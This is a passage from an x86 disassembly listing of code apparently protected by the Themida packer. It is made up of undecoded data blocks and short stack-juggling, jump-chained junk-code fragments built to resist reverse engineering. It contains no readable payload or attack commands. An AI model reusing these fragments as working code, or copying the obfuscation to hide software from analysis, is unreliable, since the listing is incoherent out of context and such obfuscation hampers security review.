		dd 0DE01FFFFh, 5B2434FFh, 0E9595451h, 62A2h, 68240489h
		dd 0FEh, 3623E9h, 28AA2C00h, 8BAA04D8h,	76E9241Ch, 4100004Dh
		dd 193AF181h, 0BF5742B0h, 18122D87h, 0E907E7C1h, 251Ch
		dd 2643BB53h, 87E97EFAh, 87000025h, 835C240Ch, 1C8704C3h
		dd 24248B24h, 9C240421h, 0FFA90FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556A59:				; CODE XREF: Themida_:0055775Cj
		push	edx
		push	ebx
		mov	bh, 6Fh
		mov	dl, bh
		pop	ebx
		jmp	loc_559D0B
; ---------------------------------------------------------------------------

loc_556A65:				; CODE XREF: Themida_:005571DCj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5538E3
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 93h
		dd 51FFFFEAh, 438ABF57h, 0E7815059h, 4209126Dh,	0EF81D7F7h
		dd 0AA1AB714h, 34FFF989h, 0ACB4E924h, 8204FFFFh, 0FFBDC0E9h
		dd 242489FFh, 4240483h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6Ah
		jmp	loc_555C6B
; ---------------------------------------------------------------------------
		db 48h,	0C1h, 0E8h
		dd 4FD7E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556AD2:				; CODE XREF: Themida_:005554B4j
		pop	ebp
		not	ebp
		dec	ebp
		sub	ebp, 0AB21B639h
		add	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		jmp	loc_55872E
; ---------------------------------------------------------------------------

loc_556AEC:				; CODE XREF: Themida_:00552B12j
		pop	eax
		jmp	loc_55A0D9
; ---------------------------------------------------------------------------
		dw 0C89h
aSgc		db '$Иёc',0
		align 2
		dw 0C481h
		dd 4, 4EC81h, 2FE90000h, 1000043h, 0E9C15AD1h, 24F4E905h
		dd 555B0000h, 2BDh, 0C0EA8100h,	1707E25h, 0C0C281EAh, 5D707E25h
		dd 0E9241487h, 0FFFFDDDAh
; ---------------------------------------------------------------------------

loc_556B34:				; CODE XREF: Themida_:005556A9j
		push	eax
		mov	eax, esp
		jmp	loc_55CC8D
; ---------------------------------------------------------------------------
		dd 0C003E3C0h, 0C38004EBh, 0C2EEE924h, 0B951FFFFh, 4, 8159CF89h
		dd 8F0750EAh, 81FA2973h, 8F0750C2h, 14875F73h, 1495E924h
		dd 51520000h, 639DE9h, 58C50100h, 64DEE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556B7A:				; CODE XREF: Themida_:00555744j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 14DD2053h
		push	eax
		mov	eax, 14DD204Fh
		sub	ecx, eax
		pop	eax
		add	ebx, ecx
		mov	ecx, [esp]
		push	edi
		jmp	loc_554534
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E88AE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556BA6:				; CODE XREF: Themida_:0055B143j
		push	eax
		push	edx
		mov	edx, 4
		mov	eax, edx
		jmp	loc_5584B2
; ---------------------------------------------------------------------------
aAikSg		db '─Кk(кИё',0Dh,0
		align 2

loc_556BBE:				; CODE XREF: Themida_:00555B12j
		shr	ebx, 7
		xor	ebx, 12D56311h
		add	ebx, 7C4564DCh
		neg	ebx
		dec	ebx
		sub	ebx, 2F2AE2B8h
		sub	eax, ebx
		jmp	loc_55B8AD
; ---------------------------------------------------------------------------
aIPsak		db ')К]PИAK',0
		align 2

loc_556BE6:				; CODE XREF: Themida_:00558B65j
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_559C9E
; ---------------------------------------------------------------------------
		db 0BEh
		dd 107802F7h, 0D2E9F501h, 6600005Fh, 83240C8Bh,	148904ECh
		dd 55E28924h, 5C70E9h, 66530400h, 0E54BE95Bh, 0FF66FFFFh
		dd 0A73EE932h, 0C383FFFFh, 241C3304h, 33241C31h, 0E95C241Ch
		dd 362Dh, 89241C89h, 4B850E3h, 1000000h, 21E958C3h, 0BE000050h
		dd 24F03B0Eh, 2457F681h, 0EE817DFBh, 2ACE7974h,	51E94E4Eh
		dd 8B000045h, 0C4812434h, 4, 2C581h, 2C870000h,	0F665C24h
		dd 9C2404A3h, 4C19E9h, 7EFC000h, 0FFC806E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556C8D:				; CODE XREF: Themida_:0055B57Ej
		shr	al, 5
		jmp	loc_552906
; ---------------------------------------------------------------------------

loc_556C95:				; CODE XREF: Themida_:00559119j
		push	eax
		push	6C5B093Bh
		pop	eax
		neg	eax
		shl	eax, 1
		jmp	loc_55C006
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 242C895Ch, 42474FFh,	0E92434FFh, 1752h, 7AA4B951h, 7AE92680h
		dd 8100003Eh, 312C41C6h, 89C68143h, 0C1362D46h,	0C68104EEh
		dd 0D7B67548h, 18C9E9h,	83E08900h, 2C8904ECh, 628ABD24h
		dd 0D5F72777h, 0AC668h,	43B8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556CF6:				; CODE XREF: Themida_:00553A32j
		pop	edx
		jmp	loc_55224A
; ---------------------------------------------------------------------------
		dd 6CFEBE56h, 38E9074Fh, 80FFFFF7h, 0D30070C3h,	5A70EB80h
		dd 87BF5752h, 81663F26h, 39186FEFh, 18E94F4Eh
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556D23:				; CODE XREF: Themida_:005580F3j
		push	7FC4h
		mov	[esp], ebp
		push	143452B6h
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	2D6Bh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55B8F2
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 2
		dd 8904EC83h, 3FBD242Ch, 29690C4Ah, 0B852E9E9h,	0E330FFFFh
		dd 89B15158h, 803EE980h, 0CB2845C3h, 4BC5E9h, 1F526800h
		dd 0DCE90000h, 53FFFFEEh, 0D7F626B7h, 804CC780h, 9CE97CE7h
		dd 88FFFFCFh, 0C8B66C8h, 2C48324h, 0FFEC76E9h, 69C381FFh
		dd 11FDC61h, 69EB81C3h,	811FDC61h, 215D9BC3h, 0D9B95159h
		dd 0D1414F71h, 0A3E957E1h, 89000005h, 24048BC5h, 4C481h
		dd 0E8290000h, 0C331595Dh, 0B60F66h, 0FFED36E9h, 4C281FFh
		dd 83000000h, 148704C2h, 77E95C24h, 81000064h, 4C4h, 7A6A6800h
		dd 0C890000h, 0E9E18924h, 14CBh, 2BAh, 8BD38900h, 3CE92414h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55695F
; ---------------------------------------------------------------------------

loc_556E38:				; CODE XREF: Themida_:005525A2j
		mov	edi, 60D76F31h
		inc	edi
		push	edx
		mov	edx, 0A3640FCEh
		jmp	loc_55320F
; ---------------------------------------------------------------------------
		db 1, 0EAh, 5Dh
		dd 5C87C281h, 0D089E370h, 0E924148Bh, 0FFFFBBE4h, 0FFA507E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556E61:				; CODE XREF: Themida_:0055496Cj
		xor	ah, bl
		pop	ebx
		mov	bh, 0B2h
		push	ecx
		jmp	loc_556E89
; ---------------------------------------------------------------------------
		dd 0BF5ADCB9h, 59C82969h, 0C946DE05h, 0B8E95249h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556E7F:				; CODE XREF: Themida_:005558F6j
		pop	esi
		inc	esi
		shl	esi, 3
		jmp	loc_55C0AE
; ---------------------------------------------------------------------------

loc_556E89:				; CODE XREF: Themida_:00556E67j
		mov	cl, 0Fh
		jmp	loc_55845B
; ---------------------------------------------------------------------------

loc_556E90:				; CODE XREF: Themida_:00551CAEj
		and	ebp, edi
		mov	edi, [esp]
		push	2C35h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebp, 0F77BDE80h
		and	ecx, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		push	4
		jmp	loc_5527E8
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFD5ECE9h, 5DEA29FFh, 1055CA81h, 0E2C10A41h, 6EAC103h
		dd 92C2814Ah, 10476CEh,	0F12D5AD0h, 1161A0Ch, 0CF105D8h
		dd 0E955161Ah, 1892h, 0B4113B0Dh, 40B8255Dh, 3C35147Fh
		dd 0E9143640h, 0FFFFE84Eh
; ---------------------------------------------------------------------------

loc_556F10:				; CODE XREF: Themida_:0055A0E2j
		push	esp
		pop	ebp
		jmp	loc_55198E
; ---------------------------------------------------------------------------

loc_556F17:				; CODE XREF: Themida_:005541D2j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5545B6
; ---------------------------------------------------------------------------

loc_556F2A:				; CODE XREF: Themida_:005574B0j
		mov	[esp], ecx
		push	4
		pop	ecx
		sub	ebp, 79481BCEh
		add	ebp, ecx
		add	ebp, 79481BCEh
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	edx, 16410E41h
		sub	edx, 45031F05h
		add	edx, 1E20400Bh
		jmp	loc_55BD3D
; ---------------------------------------------------------------------------
		db 0BEh, 2 dup(0)
		dd 0CE290000h, 0FFC2ECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556F71:				; CODE XREF: Themida_:00557FC2j
		pop	ebx
		or	dl, al
		pop	eax
		push	ebx
		jmp	loc_559CE3
; ---------------------------------------------------------------------------
		db 0B9h
		dd 439D483Ah, 0F2B5E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556F86:				; CODE XREF: Themida_:00558EAFj
		xor	edi, 0CCA3FA7h
		push	ebx
		mov	ebx, 4871695Ch
		xor	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, edi
		mov	eax, ebp
		jmp	loc_55BCCA
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 74ADh, 54240C89h,	592434FFh, 4C481h, 0BD550000h
		dd 408F23E9h, 23E5ED81h, 0E901408Fh, 32EFE9h, 8BBE5600h
		dd 0BF702641h, 207776E4h, 886E9h, 0E9F82900h, 0FFFFF41Fh
		dd 0E91AEB80h, 20FAh, 0B9F1E95Bh, 28B3FFFFh, 88DD8851h
		dd 0F6CAE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556FFA:				; CODE XREF: Themida_:0055ADA5j
		mov	[esp], esi
		mov	esi, 6E2C2109h
		add	eax, esi
		pop	esi
		sub	eax, ecx
		sub	eax, 6E2C2109h
		mov	ecx, [esp]
		push	eax
		jmp	loc_55BE67
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 24h
		dd 5920B158h, 5C243487h, 68C8B60Fh, 4620h, 0E9240C89h
		dd 0FFFFA338h, 243C8966h, 0FFB5FBE9h, 243489FFh, 0C681E689h
		dd 4, 4C681h, 34870000h, 0C4835C24h, 9ABE5604h,	4E455A53h
		dd 0C681D6F7h, 455A539Eh, 815EF301h, 4ECh, 243C8900h, 0A17B70BFh
		dd 72B9511Eh, 311EA17Bh, 0FB0159CFh, 3BDAE9h, 81E58900h
		dd 4C5h, 0DD2E900h, 37B80000h, 0E91F364Bh, 3B2Ah, 621AE95Ah
		dd 0EFC10000h, 0F4EF8107h, 81176F0Fh, 0FFFFFFEFh, 586BE9FFh
		dd 0EC830000h, 0AE7EE904h, 348BFFFFh, 4C48324h,	0EF81C701h
		dd 3C31323Fh, 8124048Bh, 4C4h, 0C0B60F00h, 568734FFh, 543BE9h
		dd 3C875A00h, 24248B24h, 9C240429h, 0FFA27BE9h,	242C33FFh
		dd 0DAA2E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5570F6:				; CODE XREF: Themida_:0055B3B5j
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_552A14
; ---------------------------------------------------------------------------
		dd 0EC068h, 24248900h, 4240481h, 8B000000h, 91E92414h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557117:				; CODE XREF: Themida_:00557982j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	5A74h
		jmp	loc_5559D9
; ---------------------------------------------------------------------------
		db 25h
		dd 3D950CD2h, 0DF2DD0F7h, 0F7289463h, 1765E9D0h, 0B9510000h
		dd 4, 546C781h,	0CF011DD9h, 546EF81h, 54E91DD9h, 9FFFFA5h
		dd 0FD0D5EF0h, 0C128063Eh, 0E1E907E8h, 66FFFFC6h, 68240C8Bh
		dd 5E92h, 68243489h, 7D5h, 1990E9h, 54525900h, 8B2434FFh
		dd 27E92414h, 30FFFFEAh, 686659E8h, 89660C7Eh, 0CEE9240Ch
		dd 8BFFFFA6h, 5452240Ch, 4C2815Ah, 83000000h, 148704C2h
		dd 0A9E95C24h, 31FFFFA1h, 5FBD5DEAh, 81156031h,	0E36B7AF5h
		dd 81454508h, 0C865BDC5h, 0BD28E91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5571DA:				; CODE XREF: Themida_:0055CE98j
		mov	ecx, esp
		jmp	loc_556A65
; ---------------------------------------------------------------------------
		db 0BDh, 2, 0
		dd 0E8010000h, 68242C8Bh, 66B6h, 89240C89h, 0B5A0E9E1h
		dd 0C8BFFFFh, 4C48324h,	31BDE981h, 348B721Dh, 4C48324h
		dd 0C8BCE01h, 4C48124h,	83000000h, 0C8904ECh, 56E18924h
		dd 4BEh, 5EF10100h, 8704E983h, 895C240Ch, 34FF2434h, 2434FF24h
		dd 4C4815Fh, 68000000h,	6AE4h, 89241C89h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 5024248Bh, 2314E9h
		db 0
; ---------------------------------------------------------------------------

loc_557261:				; CODE XREF: Themida_:0055B06Bj
		mov	edx, 4
		jmp	loc_5572B1
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFC6h, 3065E9FFh, 0E95C0000h, 0FFFFEE01h, 0A734E951h
		dd 5401FFFFh, 595A0424h, 4C181h, 0BE560000h, 2,	515EF101h
		dd 42474FFh, 83240C8Bh,	48F04C4h, 24248B24h, 9CC83B66h
		dd 0FFA0B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5572B1:				; CODE XREF: Themida_:00557266j
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_553659
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0E83104C4h, 2829685Dh, 30E90000h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5572CF:				; CODE XREF: Themida_:005590DDj
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_556184
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 1000000h, 8B04245Ch,	0C483241Ch, 52505E04h, 0FFAB9FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5572F1:				; CODE XREF: Themida_:00559DC0j
		add	esp, 4
		push	3243h
		mov	[esp], esi
		mov	esi, 13055363h
		jmp	loc_55D53B
; ---------------------------------------------------------------------------

loc_557306:				; CODE XREF: Themida_:0055BD38j
		mov	eax, 56F52563h
		add	dword ptr [esp+4], 46C4700Ch
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 46C4700Ch
		jmp	loc_55AED8
; ---------------------------------------------------------------------------
		dd 8704C183h, 0B7E9240Ch, 0C1000050h, 0E1C106E9h, 0E6E98103h
		dd 89EF247Bh, 240C8BCDh, 4C481h, 0A5E90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55734B:				; CODE XREF: Themida_:0055546Fj
		pop	esp
		mov	[esp], esi
		mov	esi, 7A8C152Fh
		mov	eax, 7A8C15AFh
		sub	eax, esi
		jmp	loc_552513
; ---------------------------------------------------------------------------
		dd 4BEh, 0C7E2E900h, 43BFFFFFh,	29324DACh, 0EB815FF9h
		dd 56C1012h, 0BD55CB29h, 56C1012h, 0DF8E9h, 0E0895000h
		dd 405h, 2992E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557392:				; CODE XREF: Themida_:00553F22j
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55525F
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_551760
; ---------------------------------------------------------------------------
		dw 7BBEh
		dd 8125114Eh, 114E77EEh, 0CAE98125h, 8105492Fh,	5F1309C1h
		dd 81F1296Ch, 5F1309E9h, 0CAC1816Ch, 8B05492Fh,	0C4812434h
		dd 4, 5C240C87h, 0E9241C89h, 6F7h, 0B2E9E589h, 33000046h
		dd 27E92414h, 0BDFFFFC0h, 112E0869h, 7495BE56h,	0CE814758h
		dd 1710137Eh, 0FFDD96E9h, 52992CFFh, 0D3000AB2h, 0FFAB4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557431:				; CODE XREF: Themida_:0055CBE7j
		mov	ecx, 263D5A3Eh
		jmp	loc_557C3B
; ---------------------------------------------------------------------------
		db 58h
		dd 33E9D301h, 8B000055h, 0C483241Ch, 0EC835A04h, 243C8904h
		dd 37512CBFh, 8BFB0170h, 0EC83243Ch, 5BE7E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557462:				; CODE XREF: Themida_:00553A18j
		mov	esp, [esp]
		shr	eax, 8
		jmp	loc_55D4CC
; ---------------------------------------------------------------------------

loc_55746D:				; CODE XREF: Themida_:00555D03j
		pop	edi
		add	esp, 4
		pop	edi
		push	eax
		mov	eax, 6CD859C7h
		neg	eax
		add	eax, 6CD859CBh
		jmp	loc_55CEA2
; ---------------------------------------------------------------------------
		db 58h
		dd 0E959585Bh, 0FFFFC744h, 0DF5BF581h, 0E901D2A6h, 240C875Dh
		dd 4DEA815Ch, 152C419h,	0B051E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5574AA:				; CODE XREF: Themida_:0055445Fj
		sub	esp, 4
		jmp	loc_556F2A
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0B070E95Ch, 0B22DFFFFh, 533E76Ch, 0CD0E6C15h, 0FFD718E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5574CD:				; CODE XREF: Themida_:0055CC98j
		mov	esp, [esp]
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 267C4040h
		shr	ebp, 8
		add	ebp, 54560F4Eh
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_558433
		push	dword ptr [edi+1Ch]
		push	eax
		jmp	loc_5556AE
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 5AD40812h, 0E920C480h, 5AD9h
; ---------------------------------------------------------------------------

loc_557514:				; CODE XREF: Themida_:005530FAj
		add	edx, 2C3C79A8h
		add	edx, edi
		sub	edx, 2C3C79A8h
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_557974
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5E744DBh, 8904EC83h,	3DBE2434h, 8158C01Dh, 277E00CEh
		dd 0B3BD551Eh, 81E27606h, 8005F6EEh, 81EE2904h,	8005F6C6h
		dd 0EAE9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557562:				; CODE XREF: Themida_:0055863Bj
		push	70A7400Ch
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 6BE92068h
		add	ecx, edi
		push	edx
		mov	edx, 6BE92068h
		add	ecx, edx
		pop	edx
		jmp	loc_552794
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 3E788A18h, 0FFA6ACE9h, 4C581FFh, 33000000h, 2C31242Ch
		dd 242C3324h, 0F724248Bh, 4EC83F9h, 89241C89h, 521FE9E3h
		dd 0F3810000h, 5C402EAAh, 40CB8143h, 577DBB12h,	0EE6791BFh
		dd 3FCF8153h, 0F74AB31Ah, 6BF781DFh, 21B1A893h,	0CB815FFBh
		dd 5E0B2441h, 355EB951h, 0E1E96DD9h, 88FFFFBFh,	30A5E9D7h
		dd 0C5810000h, 4, 2C581h, 89500000h, 4BA52E0h, 1000000h
		dd 0EE7AE9D0h, 0BAFFFFh, 57000000h, 0FFC28CE9h,	240C87FFh
		dd 2414895Ch, 0AD5BD1BAh, 0B951567Eh, 1802022Eh, 821D03BEh
		dd 2EC6811Fh, 1378945h,	2EEE81CEh, 59378945h, 7E53CE81h
		dd 0C6816F04h, 0FA3F8C0Fh, 348BF209h, 4C48124h,	0E9000000h
		dd 1302h, 2B60F66h, 484368h, 24048900h,	3A068h,	24248900h
		dd 4C85E9h, 4C48100h, 5D000000h, 144DAE05h, 2DF0291Fh
		dd 1F144DAEh, 8124348Bh, 4C4h, 5D80100h, 2B7A33AEh, 1D3168h
		dd 1D72E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55769E:				; CODE XREF: Themida_:00555000j
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, edx
		pop	edx
		add	ebx, edi
		jmp	loc_55B636
; ---------------------------------------------------------------------------

loc_5576B1:				; CODE XREF: Themida_:00552717j
		add	al, cl
		jmp	loc_555FF1
; ---------------------------------------------------------------------------

loc_5576B8:				; CODE XREF: Themida_:0055BE4Aj
		add	edx, 4
		jmp	loc_554E1D
; ---------------------------------------------------------------------------
		dd 24048B66h, 0C54E9h, 4C58100h, 83000000h, 2C8704C5h
		dd 24248B24h, 0FF9C8BE9h, 2EC83FFh, 24148966h, 8904EC83h
		dd 0F8B42404h, 0E23094B2h, 66D03058h, 5624148Bh
		db 54h,	5Eh, 51h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55A56E
; ---------------------------------------------------------------------------
		db 81h
		dd 0CCFC4BF6h, 5EF201C3h, 5C241487h, 4AB0F66h, 3DE99C24h
		dd 89FFFF9Ch, 0B85055E0h, 3ACA585Ah, 615E9h
		db 0
; ---------------------------------------------------------------------------

loc_557739:				; CODE XREF: Themida_:00555C9Ej
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], ebx
		push	636Dh
		jmp	loc_5581C4
; ---------------------------------------------------------------------------

loc_557756:				; CODE XREF: Themida_:00559BD6j
		add	ch, 7Bh
		add	ch, 86h
		jmp	loc_556A59
; ---------------------------------------------------------------------------
aRLshho		db 'R╨({╚Shho',0
		align 4
aSb		db 'ИB"',0
		dd 368B6800h, 0C890000h, 0D5EEE924h, 34FFFFFFh,	4E95824h
		dd 81FFFFD4h, 0EB2025E2h, 4EC835Dh, 0B9240C89h,	37FA2289h
		dd 85E9CA21h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55779F:				; CODE XREF: Themida_:005561EEj
		pop	esp
		push	714Bh
		jmp	loc_55C48E
; ---------------------------------------------------------------------------
		dw 565Bh
		dd 42474FFh, 24048F5Eh,	0D651E95Ch, 5358FFFFh, 0C3815B54h
		dd 4, 0CCE9E950h, 0EDC1FFFFh, 6EDC105h,	8106EDC1h, 7B97F5h
		dd 0E9EF8900h, 1582h, 6853D828h, 53E9h,	66240489h, 0F7FCE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5577F2:				; CODE XREF: Themida_:0055AF0Aj
		push	0BECh
		mov	[esp], ebp
		push	edx
		push	62D11FC9h
		pop	edx
		jmp	loc_5596EC
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 3FCBEE81h, 815B7BADh, 582E5AC6h, 53EE2924h, 0FFCD25E9h
		dd 4BBFFh, 0DD010000h, 252E95Bh, 0D8F70000h, 0E724DF05h
		dd 58C189EAh, 7192BB53h, 0F3811221h, 0B9B2CEA1h, 515BD901h
		dd 9770E1B9h, 47C1812Ah, 2910D3F9h, 0DC1EE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557856:				; CODE XREF: Themida_:00555B5Fj
		mov	ecx, esi
		mov	ebx, ecx
		jmp	loc_555278
; ---------------------------------------------------------------------------
		db 31h
		dd 24348BF7h, 104C483h,	243C8BFBh, 8104C483h, 215D9BEBh
		dd 0F52BE959h, 0BBEFFFFh, 81517978h, 6E04246Ch,	29033049h
		dd 81042474h, 6E042444h, 8B033049h, 0C4832434h,	0BEE95D04h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_555F88
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0EE830000h, 24348704h, 0FFC501E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5578C9:				; CODE XREF: Themida_:0055C1BAj
		mov	eax, [esp]
		add	esp, 4
		and	edx, 7D6C1095h
		xor	edx, 779B5440h
		not	edx
		sub	edx, 0EB40A3E8h
		push	edi
		mov	edi, 2DC84DC5h
		sub	ebp, edi
		pop	edi
		sub	ebp, edx
		push	esi
		mov	esi, 2DC84DC5h
		jmp	loc_55A247
; ---------------------------------------------------------------------------
		db 68h,	0ACh, 25h
		dd 1C890000h, 0CDB95124h, 893A6B46h, 0BD5559CBh, 1153DEh
		dd 4E21ED81h, 0A9E9B195h, 52FFFF9Ah, 0C6803FB6h, 8BF12850h
		dd 0C4812414h, 4, 0F6A6E980h, 80D9F6D9h, 0E95272C1h, 3C92h
; ---------------------------------------------------------------------------

loc_55793C:				; CODE XREF: Themida_:005592D1j
		pop	esi
		neg	ebx
		or	ebx, 62E34588h
		neg	ebx
		jmp	loc_558F2F
; ---------------------------------------------------------------------------

loc_55794C:				; CODE XREF: Themida_:0055C10Cj
		push	ebx
		push	esi
		mov	esi, 787E525Fh
		sub	esi, 787E525Fh
		mov	ebx, esi
		pop	esi
		jmp	loc_553BD9
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 6Bh
		dd 0FFBB88E9h, 243433FFh, 0E9243431h, 0B07h
; ---------------------------------------------------------------------------

loc_557974:				; CODE XREF: Themida_:0055752Ej
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp

loc_55797E:				; CODE XREF: Themida_:00559CB8j
		push	ebx
		mov	eax, [esp]
		jmp	loc_557117
; ---------------------------------------------------------------------------
		db 89h
		dd 6E0558C7h, 573A67Fh,	47E37332h, 5E21BA52h, 0DAF7396Eh
		dd 521BE9h, 2434FF00h, 8124048Bh, 4C4h,	4EC8100h, 89000000h
		dd 5954240Ch, 4C181h, 0BB530000h, 4, 620AC181h,	0ADE9119Ah
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5579CF:				; CODE XREF: Themida_:005535D8j
		sub	dl, 9Dh
		sub	al, dl
		pop	edx
		add	bl, 0C5h
		add	bl, al
		jmp	loc_55ADEC
; ---------------------------------------------------------------------------
		db 66h
		dd 2404BB0Fh, 997EE99Ch, 0C483FFFFh, 79E95304h,	5F000059h
		dd 5C240487h, 0FF996BE9h, 241C8BFFh, 0E904C483h, 0FFFFFA1Dh
		dd 2D59CB31h, 0D762B9Ch, 9C05D801h, 5B0D762Bh, 31240433h
		dd 4332404h, 52E95C24h,	83FFFFB1h, 15D04C4h, 2C8758C5h
		dd 48B5C24h, 2B685624h,	54000028h, 8324048Fh, 0FF042404h
		dd 815E2434h, 4C4h, 4C68100h, 68000000h, 597h, 0E9240C89h
		dd 0FFFFC677h, 8B243487h, 0C4832424h, 32996804h, 34890000h
		dd 0AF27E924h, 0E95FFFFFh, 416Dh, 589068h, 241C8900h, 2BBh
		dd 90C58100h, 0E90A202Ch, 0FFFFB96Bh, 0E905D001h, 5A330113h
		dd 4055Eh, 4870000h, 34FF5C24h,	240C8B24h, 50E38953h, 0F978C7B8h
		dd 6425480Fh, 0C15EC031h, 860502E0h, 0F72D382Dh, 2852E9D8h
		dd 895A0000h, 815D386Ah, 4ECh, 4FE6E900h, 2B040000h, 0FFB65AE9h
		dd 176852FFh, 0E9683813h, 0FFFFE692h, 55E56853h, 0DFE90000h
		dd 89FFFF99h, 0DD8955C3h, 28E9E889h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557B03:				; CODE XREF: Themida_:00552128j
		or	eax, eax
		jz	loc_559DA3
		push	dword ptr [edi+1Ch]
		push	3F59h
		mov	[esp], edx
		push	ebp
		mov	ebp, 462205D3h
		push	eax
		mov	eax, 0C29E759Bh
		push	eax
		jmp	loc_55B55E
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0E950240Ch, 0FFFFBDC2h
; ---------------------------------------------------------------------------

loc_557B34:				; CODE XREF: Themida_:00551BA6j
		pop	ecx
